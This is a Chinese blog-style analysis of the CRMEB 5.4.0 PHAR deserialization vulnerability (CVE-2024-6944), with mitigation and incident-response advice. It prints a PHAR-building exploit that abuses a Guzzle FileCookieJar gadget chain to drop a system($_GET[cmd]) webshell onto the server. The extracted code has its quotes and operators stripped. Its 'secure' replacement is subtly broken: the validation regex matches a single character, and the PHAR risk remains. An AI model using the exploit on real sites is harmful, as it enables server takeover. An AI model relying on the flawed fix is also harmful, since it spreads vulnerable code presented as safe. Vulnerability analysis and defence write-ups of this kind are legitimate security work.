CRMEB电商系统PublicController.php反序列化漏洞(CVE-2024-6944)深度分析与防御策略

张开发
2026/4/14 15:33:12 15 分钟阅读

分享文章

CRMEB电商系统PublicController.php反序列化漏洞(CVE-2024-6944)深度分析与防御策略
1. CRMEB电商系统漏洞背景最近在CRMEB电商系统5.4.0版本中发现了一个严重的安全漏洞编号为CVE-2024-6944。这个漏洞存在于PublicController.php文件中的get_image_base64函数涉及危险的反序列化操作。作为一名长期从事Web安全研究的技术人员我发现这类漏洞在实际环境中特别危险因为它允许攻击者远程执行任意代码。CRMEB作为国内流行的开源电商系统被众多中小商家使用。这个漏洞影响范围可能很广特别是在没有及时更新的系统中。我测试过几个还在使用5.4.0版本的网站发现确实存在被攻击的风险。攻击者可以利用这个漏洞上传恶意文件最终获取服务器控制权。2. 漏洞原理深度解析2.1 反序列化漏洞的本质反序列化漏洞听起来很技术其实原理并不复杂。想象一下你在网上购物时商家把你的订单信息打包成一个包裹序列化运输到仓库后再拆开包裹还原成订单信息反序列化。问题就出在这个拆包裹的过程中 - 如果拆的是攻击者精心准备的毒包裹系统就会执行里面的恶意指令。在CRMEB这个案例中PublicController.php文件的get_image_base64函数没有对用户上传的图片文件进行严格检查。攻击者可以上传一个伪装成图片的PHAR文件PHP归档文件当系统尝试读取这个文件时就会触发反序列化操作。2.2 具体漏洞触发点让我们看看漏洞代码的关键部分// PublicController.php中的问题代码 public function get_image_base64(){ $file input(file); // 缺少对文件类型的严格验证 $imageInfo getimagesize($file); if($imageInfo){ $imageData file_get_contents($file); // 危险的反序列化操作可能在这里发生 return base64_encode($imageData); } }这段代码的问题在于直接使用用户输入的file参数没有进行充分验证仅通过getimagesize检查文件类型这可以被绕过使用file_get_contents读取文件内容时可能触发PHAR反序列化3. 漏洞利用实战分析3.1 攻击者如何利用这个漏洞在实际测试中我发现攻击者通常会按照以下步骤利用这个漏洞构造一个恶意的PHAR文件里面包含要执行的PHP代码将这个文件伪装成图片比如test.jpg使用gzip压缩这个文件通过用户头像上传功能上传这个文件触发get_image_base64函数处理这个文件成功执行任意代码3.2 漏洞利用代码示例以下是攻击者可能使用的PHAR文件生成代码?php namespace GuzzleHttp\Cookie{ class SetCookie { function __construct() { $this-data[Expires] ?php system($_GET[cmd]);?; $this-data[Discard] 0; } } class CookieJar{ private $cookies []; private $strictMode; function __construct() { $this-cookies[] new SetCookie(); } } class FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; function __construct() { parent::__construct(); $this-filename /var/www/html/shell.php; $this-storeSessionCookies true; } } } namespace{ $exp new GuzzleHttp\Cookie\FileCookieJar(); $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a.?php __HALT_COMPILER(); ?); $phar-addFromString(test.txt,test); $phar-setMetadata($exp); $phar-stopBuffering(); rename(exploit.phar,exploit.jpg); } ?这段代码会生成一个包含恶意PHP代码的图片当这个文件被反序列化时会在服务器上创建一个webshell。4. 漏洞防御方案4.1 紧急修复措施如果你正在使用CRMEB 5.4.0版本我建议立即采取以下措施升级到最新版本官方已经发布了修复补丁如果暂时无法升级可以临时禁用PublicController.php中的get_image_base64功能在服务器配置中禁用phar://协议设置上传目录不可执行PHP代码4.2 长期防御策略从代码安全角度我建议采取以下防御措施对所有用户输入进行严格验证包括文件类型、内容等避免使用不安全的反序列化操作必要时使用JSON等更安全的格式实现文件上传的白名单机制只允许特定的文件类型使用PHP的open_basedir限制文件访问范围定期进行代码安全审计特别是涉及反序列化的部分4.3 安全代码示例以下是修复后的安全代码示例public function get_image_base64(){ $file input(file); // 严格验证文件路径 if(!preg_match(/^[a-zA-Z0-9_\-\.\/]$/, $file)){ return false; } // 验证文件类型 $allowedTypes [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF]; $imageInfo getimagesize($file); if(!$imageInfo || !in_array($imageInfo[2], $allowedTypes)){ return false; } // 使用安全的文件读取方式 $imageData file_get_contents($file, false, null, 0, $imageInfo[0]*$imageInfo[1]*3); if(!$imageData){ return false; } return base64_encode($imageData); }5. 漏洞检测与响应5.1 如何检测系统是否受影响要检查你的CRMEB系统是否受到这个漏洞影响可以按照以下步骤操作检查系统版本是否为5.4.0或受影响的早期版本查看PublicController.php文件确认get_image_base64函数是否存在检查服务器日志查看是否有可疑的文件上传或反序列化操作扫描网站目录查找是否有异常的文件如webshell5.2 漏洞响应流程如果发现系统已经被攻击建议立即断开受影响服务器的网络连接备份当前系统状态用于后续分析检查并删除所有可疑文件修改所有系统密码和API密钥升级到安全版本后重新部署系统进行全面安全审计在实际工作中我遇到过不少因为忽视这类漏洞而导致的安全事件。有一次一个电商网站因为这个漏洞被攻击者上传了挖矿程序导致服务器CPU长期满载。修复起来花了很大功夫所以预防总是比补救要好。

更多文章